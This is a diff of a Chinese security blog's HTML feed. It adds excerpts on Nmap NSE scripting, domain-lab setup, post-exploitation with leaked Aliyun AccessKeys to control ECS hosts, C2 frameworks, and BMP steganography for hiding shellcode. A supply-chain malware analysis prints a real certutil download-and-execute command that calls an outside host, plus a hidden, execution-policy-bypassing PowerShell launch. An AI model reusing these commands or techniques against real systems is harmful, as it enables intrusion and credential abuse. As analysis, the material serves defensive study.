style="display:flex;"><span>prerule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>hostrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(host) +</span></span><span style="display:flex;"><span> mac <span style="color:#f92672">=</span> host.mac_addr +</span></span><span style="display:flex;"><span> print(stdnse.format_mac(mac)) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>portrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(host,port) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>action<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>postrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过host.mac_addr获取的mac地址是二进制编码的,我们要转换成字符串,需要引入stdnse这个扩展包,stdnse包中有一个format_mac函数,能够将host.mac_addr转换成字符串。</p>Nmap扩展开发(二)https://payloads.online/archivers/2019-04-24/2/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/2/<h2 id="0x01-nse引擎执行流程">0x01 NSE引擎执行流程</h2> <p>Nmap的扩展脚本语言都基于lua来开发的,执行也是调用了内部封装的lua解释器。</p> <p>正常情况下,调用任何一个扩展脚本会首先执行<code>nse_main.lua</code>,该脚本主要做了以下几件事:</p> <ul> @@ -2090,7 +4077,18 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 -</span></code></prNmap扩展开发(四)https://payloads.online/archivers/2019-04-24/4/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/4/<h2 id="0x01-http包的使用">0x01 HTTP包的使用</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#75715e">-- Table of different supported rules.</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> NSE_SCRIPT_RULES <span style="color:#f92672">=</span> { +</span></span><span style="display:flex;"><span> prerule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;prerule&#34;</span>, +</span></span><span style="display:flex;"><span> hostrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hostrule&#34;</span>, +</span></span><span style="display:flex;"><span> portrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;portrule&#34;</span>, +</span></span><span style="display:flex;"><span> postrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;postrule&#34;</span>, +</span></span><span style="display:flex;"><span>}; +</span></span></code></pre></td></tr></table> +</div> +</div><p>每一个规则代表了函数,由函数的返回值决定执行流程</p>Nmap扩展开发(四)https://payloads.online/archivers/2019-04-24/4/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/4/<h2 id="0x01-http包的使用">0x01 HTTP包的使用</h2> <p>一般情况下,我们扫描一些Web服务的同时需要进行渗透测试、安全评估、漏洞检测等操作,但是官方并未提供符合我们需求的脚本,这时候就要自己写脚本了。Nmap已经内置了HTTP包,不需要再进行下载和配置。</p> <h2 id="0x02-基础概念铺垫">0x02 基础概念铺垫</h2> <p>首先,先介绍两个表结构,为了方便我们后续的数据操作,让读者先熟悉两个东西:</p> @@ -2124,7 +4122,38 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 -</span></code></pr最快的方式搭建域环境https://payloads.online/archivers/2019-04-13/1/Sat, 13 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-13/1/<h2 id="0x00-自动化搭建">0x00 自动化搭建</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>| Response: +</span></span><span style="display:flex;"><span>| status: 200 +</span></span><span style="display:flex;"><span>| header: +</span></span><span style="display:flex;"><span>| content-length: 0 +</span></span><span style="display:flex;"><span>| allow: POST,OPTIONS,HEAD,GET +</span></span><span style="display:flex;"><span>| connection: close +</span></span><span style="display:flex;"><span>| content-type: text/html +</span></span><span style="display:flex;"><span>| server: Apache/2.4.29 (Debian) +</span></span><span style="display:flex;"><span>| date: Fri, 06 Jul 2018 07:02:13 GMT +</span></span><span style="display:flex;"><span>| ssl: false +</span></span><span style="display:flex;"><span>| body: +</span></span><span style="display:flex;"><span>| cookies: +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>| status-line: HTTP/1.1 200 OK\x0D +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>| rawheader: +</span></span><span style="display:flex;"><span>| Date: Fri, 06 Jul 2018 07:02:13 GMT +</span></span><span style="display:flex;"><span>| Server: Apache/2.4.29 (Debian) +</span></span><span style="display:flex;"><span>| Allow: POST,OPTIONS,HEAD,GET +</span></span><span style="display:flex;"><span>| Content-Length: 0 +</span></span><span style="display:flex;"><span>| Connection: close +</span></span><span style="display:flex;"><span>| Content-Type: text/html +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>|_ version: 1.1 +</span></span></code></pre></td></tr></table> +</div> +</div><ul> +<li>Options表</li> +</ul> +<p>Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向</p>最快的方式搭建域环境https://payloads.online/archivers/2019-04-13/1/Sat, 13 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-13/1/<h2 id="0x00-自动化搭建">0x00 自动化搭建</h2> <p>准备环境:</p> <ul> <li>Windows 2008 R2 X64</li> @@ -2147,7 +4176,40 @@ <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 -</span></code></pr又见四月https://payloads.online/archivers/2019-04-08/1/Mon, 08 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-08/1/<p>恍然间,我只记得好像回家过了一个年,今天又和她见面了,上一次相见,是天气很热的时候,我那时头发有些长热得来上海第二天就把头发剃光,现在回忆起来脑海里浮现着阳光、铁轨、沉重的雷神电脑背包、盖浇饭以及那件黑底白字的短袖。</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Import-Module Addsdeployment +</span></span></code></pre></td></tr></table> +</div> +</div><p>第三步:调用<a href="https://github.com/MicrosoftDocs/windowsserverdocs/blob/master/WindowsServerDocs/identity/ad-ds/deploy/Install-Active-Directory-Domain-Services--Level-100-.md">Install-ADDSForest</a>设置域的信息执行安装</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Install-ADDSForest -CreateDnsDelegation:$false -DomainMode <span style="color:#e6db74">&#34;7&#34;</span> -DomainName <span style="color:#e6db74">&#34;PAYLOADS.ONLINE&#34;</span> -DomainNetbiosName <span style="color:#e6db74">&#34;PAYLOADS&#34;</span> -ForestMode <span style="color:#e6db74">&#34;7&#34;</span> -InstallDns:$true -NoRebootOnCompletion:$false -Force:$true +</span></span></code></pre></td></tr></table> +</div> +</div><p>Install-ADDSForest 的参数解释:</p> +<ul> +<li>CreateDnsDelegation 是否创建引用与域控制器一起安装的新DNS服务器的DNS委派。 仅对 Active Directory“集成 DNS 有效。默认值是根据环境自动计算的。</li> +<li>DomainMode 指定创建新林时第一个域的域功能级别。 +<ul> +<li>Windows Server 2003: 2 or Win2003</li> +<li>Windows Server 2008: 3 or Win2008</li> +<li>Windows Server 2008 R2: 4 or Win2008R2</li> +<li>Windows Server 2012: 5 or Win2012</li> +<li>Windows Server 2012 R2: 6 or Win2012R2</li> +<li>Windows Server 2016: 7 or WinThreshold</li> +</ul> +</li> +<li>DomainName 域名</li> +<li>DomainNetbiosName 域的Netbios名称</li> +<li>ForestMode 与 DomainMode 等同,该选项主要用于尽可能的自动化</li> +<li>InstallDns 是否安装DNS服务</li> +<li>NoRebootOnCompletion 不重启完成安装</li> +</ul> +<p>总结:</p>又见四月https://payloads.online/archivers/2019-04-08/1/Mon, 08 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-08/1/<p>恍然间,我只记得好像回家过了一个年,今天又和她见面了,上一次相见,是天气很热的时候,我那时头发有些长热得来上海第二天就把头发剃光,现在回忆起来脑海里浮现着阳光、铁轨、沉重的雷神电脑背包、盖浇饭以及那件黑底白字的短袖。</p> <p>今天心情略像去年的四月二十六日,我想到时候天气会更炎热,我不喜欢四月,因为好像每个四月都在别离、都在迎接蜕变,其实我骨子里是那种想安逸的人,但道理告诉我,敢拼才会更加精彩、拥抱变化才会成长。</p> <p>每次经历四月的过程都有点小痛苦,这不是矫情,这是一种回味,回味“我的四月”</p> <p>感恩</p>BaseRequestHandler 传参问题https://payloads.online/archivers/2019-04-02/2/Tue, 02 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-02/2/<p>最近在写<a href="https://github.com/Rvn0xsy/Cooolis-ms">Cooolis-ms</a>的时候遇到一个坑,学艺不精靠搜索,最终解决了。</p> @@ -2174,7 +4236,30 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 -</span></code></pr阿里云Access Token问题 - 项目收获记录https://payloads.online/archivers/2019-04-02/1/Tue, 02 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-02/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> socketserver +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyTCPHandler</span>(socketserver<span style="color:#f92672">.</span>BaseRequestHandler): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">handle</span>(self): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span>: +</span></span><span style="display:flex;"><span> self<span style="color:#f92672">.</span>data <span style="color:#f92672">=</span> self<span style="color:#f92672">.</span>request<span style="color:#f92672">.</span>recv(<span style="color:#ae81ff">1024</span>)<span style="color:#f92672">.</span>strip() +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{}</span><span style="color:#e6db74"> wrote:&#34;</span><span style="color:#f92672">.</span>format(self<span style="color:#f92672">.</span>client_address[<span style="color:#ae81ff">0</span>])) +</span></span><span style="display:flex;"><span> print(self<span style="color:#f92672">.</span>data) +</span></span><span style="display:flex;"><span> self<span style="color:#f92672">.</span>request<span style="color:#f92672">.</span>send(self<span style="color:#f92672">.</span>data<span style="color:#f92672">.</span>upper()) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">ConnectionResetError</span> <span style="color:#66d9ef">as</span> e: +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#34;err&#34;</span>,e) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>: +</span></span><span style="display:flex;"><span> HOST,PORT <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;localhost&#34;</span>,<span style="color:#ae81ff">9999</span> +</span></span><span style="display:flex;"><span> server <span style="color:#f92672">=</span> socketserver<span style="color:#f92672">.</span>ThreadingTCPServer((HOST,PORT),MyTCPHandler) +</span></span><span style="display:flex;"><span> server<span style="color:#f92672">.</span>serve_forever() +</span></span></code></pre></td></tr></table> +</div> +</div><p>假若我想对<code>MyTCPHandler</code>进行一些修饰,添加一些成员属性,那就需要覆盖<code>__init__</code>函数,很多资料告诉我调用<code>super</code>可以解决,但是<code>BaseRequestHandler</code>是有参数的,这些参数必须由<code>ThreadingTCPServer</code>进行传递。</p>阿里云Access Token问题 - 项目收获记录https://payloads.online/archivers/2019-04-02/1/Tue, 02 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-02/1/<h2 id="0x00-前言">0x00 前言</h2> <p>Q:在获得权限较低的Webshell的情况下,如何继续扩大收获?</p> <p>A:首先,信息搜集,分别包含:当前权限,主机网络环境、系统进程、网络连接状况、散落的凭证等,然后进行战略分析</p> <ol> @@ -2202,7 +4287,27 @@ <p>OSS通过使用AccessKeyId/ AccessKeySecret对称加密的方法来验证某个请求的发送者身份。</p> <p>AccessKeyId用于标示用户,AccessKeySecret是用户用于加密签名字符串和OSS用来验证签名字符串的密钥,其中AccessKeySecret必须保密,只有用户和OSS知道。AccessKey 根据所属账号的类型有所区分。</p> <p><strong>阿里云账户AccessKey:阿里云账号提供的AccessKey拥有所属资源的全部操作权限</strong></p> -<p>RAM账户AccessKey:RAM账户由阿里云账号授权生成,所拥有的AccessKey拥有对特定资源限定的操作权限</p>OWASP - 吉林沙龙https://payloads.online/archivers/2019-03-16/1/Sat, 30 Mar 2019 00:00:00 +0000https://payloads.online/archivers/2019-03-16/1/<p>2019年03月16日,有幸被邀请为嘉宾去吉林省长春市分享自己的议题,这个议题我在过年前就准备好了,从最初的一个想法到落地经历了一个月,这一个月学习到了不少到东西。</p> +<p>RAM账户AccessKey:RAM账户由阿里云账号授权生成,所拥有的AccessKey拥有对特定资源限定的操作权限</p> +<p>STS临时访问凭证:由阿里云账号或RAM账号生成,所拥有的AccessKey在限定时间内拥有对特定资源限定的操作权限。过期权限收回。</p> +<p><a href="https://help.aliyun.com/document_detail/31867.html?spm=a2c4g.11186623.2.7.60c35869TaDn9K#concept-e4s-mhv-tdb">详细介绍</a></p> +<h2 id="0x03-通过access-token接管ecs">0x03 通过Access Token接管ECS</h2> +<p>ECS:云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。</p> +<p>前面介绍到,默认情况下,阿里云用户获得的Access Token是对当前用户所有服务通用的令牌,在没有使用RAM账户的情况下,就可以使用SDK去操作阿里云所有产品。</p> +<p>在此次项目里,我接管了四台ECS,执行任意命令,获得最大权限。</p> +<p>首先,通过读取配置文件,获得了同于上传图片所需要认证的Access Token,如何检验是否可用的呢?</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>Access Key Id : ********* +</span></span><span style="display:flex;"><span>Access Secret : *************************** +</span></span><span style="display:flex;"><span>Region : cn-***** +</span></span></code></pre></td></tr></table> +</div> +</div><p>下面直接调用获取ECS实例的API即可,以往情况下,我会使用Python,安装阿里云的sdk-core库,但是现在能在线调试,大大的节省了本地调试的成本:</p>OWASP - 吉林沙龙https://payloads.online/archivers/2019-03-16/1/Sat, 30 Mar 2019 00:00:00 +0000https://payloads.online/archivers/2019-03-16/1/<p>2019年03月16日,有幸被邀请为嘉宾去吉林省长春市分享自己的议题,这个议题我在过年前就准备好了,从最初的一个想法到落地经历了一个月,这一个月学习到了不少到东西。</p> <p> <img src="https://images.payloads.online/51485c4a-4f5f-11ec-b1df-00d861bf4abb.png" alt="2019-03-30-13-40-05"> @@ -2251,7 +4356,47 @@ </div> </div><h2 id="0x02-c2command-and-control简介">0x02 C2(Command and Control)简介</h2> <p>C2,其含义在安全领域中意思是命令与控制,具体的技术表现为远控木马。 -是一种通常用于持续控制一个或多个目标的技术手段,这个技术手段覆盖了<strong>多种</strong>网络通信(计算机交互、通信)的方式。</p>MemoryModule-实现原理https://payloads.online/archivers/2019-03-14/1/Thu, 14 Mar 2019 00:00:00 +0000https://payloads.online/archivers/2019-03-14/1/<h1 id="url">URL</h1> +是一种通常用于持续控制一个或多个目标的技术手段,这个技术手段覆盖了<strong>多种</strong>网络通信(计算机交互、通信)的方式。</p> +<p>这个“多种”指的是有很多种方式,基于HTTP、SMTP、HTTPS、纯数据报文、&hellip;.</p> +<p> + <img src="https://images.payloads.online/544f0bbe-4f5f-11ec-8dda-00d861bf4abb.png" alt="2019-03-30-13-59-17"> + +</p> +<h2 id="0x03-c2的原理">0x03 C2的原理</h2> +<p>命令与控制的原理就是目标机器主动或被动的与控制端进行交互,不断获取指令执行。</p> +<p>交互:可能不是一个直接的网络连接</p> +<p>命令与控制在行为上一般需要与许多操作系统接口进行交互,例如:网络通信、文件读写、进程管理等。</p> +<h2 id="0x04-后渗透平台--cobalt-strike">0x04 后渗透平台 – Cobalt Strike</h2> +<p> + <img src="https://images.payloads.online/54b23a54-4f5f-11ec-8073-00d861bf4abb.png" alt="2019-03-30-14-01-17"> + +</p> +<p>Cobalt Strike是一个跨平台、多人协作式、红队评估后渗透平台。 +它支持多人通信、权限维持、文件操作、提权、横向渗透……等多种功能,使用者只需要部署好teamserver就可以在任意平台上连接teamserver进行渗透。</p> +<p><a href="https://www.cobaltstrike.com/">https://www.cobaltstrike.com/</a></p> +<h2 id="0x05-后渗透平台--metasploit-framework">0x05 后渗透平台 – Metasploit Framework</h2> +<p> + <img src="https://images.payloads.online/54ecdbb4-4f5f-11ec-8615-00d861bf4abb.png" alt="2019-03-30-14-02-15"> + +</p> +<p>Metasploit Framework是一个跨平台、开源、较为开放式的安全评估平台。 +它支持权限维持、文件操作、提权、横向渗透、载荷生成……等多种功能,使得渗透更加灵活。</p> +<p><a href="https://www.metasploit.com/">https://www.metasploit.com/</a></p> +<h2 id="0x06-后渗透的需求">0x06 后渗透的需求</h2> +<p>通过一些常用的平台、工具总结,我得出一些以下几个基本需求:</p> +<p> + <img src="https://images.payloads.online/55265e0c-4f5f-11ec-8636-00d861bf4abb.png" alt="2019-03-30-14-03-35"> + +</p> +<p>这些需求就必定要形成一个跨平台支持、兼容性最好、拓展性强的框架,而大部分框架的基础模式就是如下所说。</p> +<h3 id="框架基本组成">框架基本组成</h3> +<ul> +<li>PAYLOAD</li> +<li>模块</li> +<li>漏洞</li> +</ul> +<h2 id="0x07-payload进入目标机器内存的方式">0x07 PAYLOAD进入目标机器内存的方式</h2> +<p>在常规的渗透过程里,为了获得一定的权限,基本上绝大部分的动机都是在目标机器上的内存种执行指令,它的表现形式大部分都是一个后门、加载器等。</p>MemoryModule-实现原理https://payloads.online/archivers/2019-03-14/1/Thu, 14 Mar 2019 00:00:00 +0000https://payloads.online/archivers/2019-03-14/1/<h1 id="url">URL</h1> <p><a href="https://github.com/fancycode/MemoryModule/blob/master/doc/readme.rst">https://github.com/fancycode/MemoryModule/blob/master/doc/readme.rst</a></p> <h1 id="overview">Overview</h1> <p>The default windows API functions to load external libraries into a program @@ -2283,7 +4428,36 @@ file gets deleted.</p>驱动人生供应链 <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>cmd.exe /c (cd %temp%&amp;certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat&gt;nul&amp;expand -r v.dat&gt;nul&amp;v.bat&gt;nul&amp;del v.dat v.bat&gt;nul) -</span></span></code></pr</description></item><item><title>BMP位图隐写https://payloads.online/archivers/2019-01-31/1/Thu, 31 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-31/1/<h2 id="0x01-bmp简介">0x01 BMP简介</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p>由于目前<code>cert.beahh.com</code>已经无法访问,所以进行下一个powershell分析环节。</p> +<p>首先,<code>powershell -nop -w hidden -ep bypass -e </code>后接着就是base64编码的powershell代码,并且以Bypass作为当前执行策略。</p> +<p>Windows中的powershell执行策略:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>PS C:\Users\Rvn0xsy&gt; Get-ExecutionPolicy -List +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> Scope ExecutionPolicy +</span></span><span style="display:flex;"><span> ----- --------------- +</span></span><span style="display:flex;"><span>MachinePolicy Undefined +</span></span><span style="display:flex;"><span> UserPolicy Undefined +</span></span><span style="display:flex;"><span> Process Undefined +</span></span><span style="display:flex;"><span> CurrentUser Undefined +</span></span><span style="display:flex;"><span> LocalMachine Bypass +</span></span></code></pre></td></tr></table> +</div> +</div><p>将后面的base64解密后:</p>BMP位图隐写https://payloads.online/archivers/2019-01-31/1/Thu, 31 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-31/1/<h2 id="0x01-bmp简介">0x01 BMP简介</h2> <p>BMP(全称Bitmap)是Windows操作系统中的标准图像文件格式,可以分成两类:设备有向量相关位图(DDB)和设备无向量相关位图(DIB),使用非常广。它采用位映射存储格式,除了图像深度可选以外,不采用其他任何压缩,因此,BMP文件所占用的空间很大。BMP文件的图像深度可选lbit、4bit、8bit及24bit。BMP文件存储数据时,图像的扫描方式是按从左到右、从下到上的顺序。由于BMP文件格式是Windows环境中交换与图有关的数据的一种标准,因此在Windows环境中运行的图形图像软件都支持BMP图像格式。</p> <p>典型的BMP图像文件由四部分组成:</p> <ul> @@ -2315,7 +4489,115 @@ file gets deleted.</p>驱动人生供应链 <p> <img src="https://images.payloads.online/4c568f90-4f5f-11ec-8291-00d861bf4abb.png" alt="2019-01-31-16-16-59"> -</p></description></item><item><title>Visual Studio 调试DLLhttps://payloads.online/archivers/2019-01-26/2/Sat, 26 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-26/2/<p> +</p> +<p><strong>其中36前面的00 00 00 00是保留位,没有意义。</strong></p> +<p>36 00 00 00(0x36)转换成十进制是54。</p> +<p>也就是说,从BMP文件的第一个字节开始,到第54个字节就是像素的开始。</p> +<p> + <img src="https://images.payloads.online/4c8c9144-4f5f-11ec-982e-00d861bf4abb.png" alt="2019-01-31-16-21-16"> + +</p> +<p>三个D8就是一个像素。</p> +<h2 id="0x04-写入内容">0x04 写入内容</h2> +<p>这个过程中,我们可以写入shellcode、PE文件、字符串等。</p> +<p>这里我只是写入了一个“Hello world !!!”:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 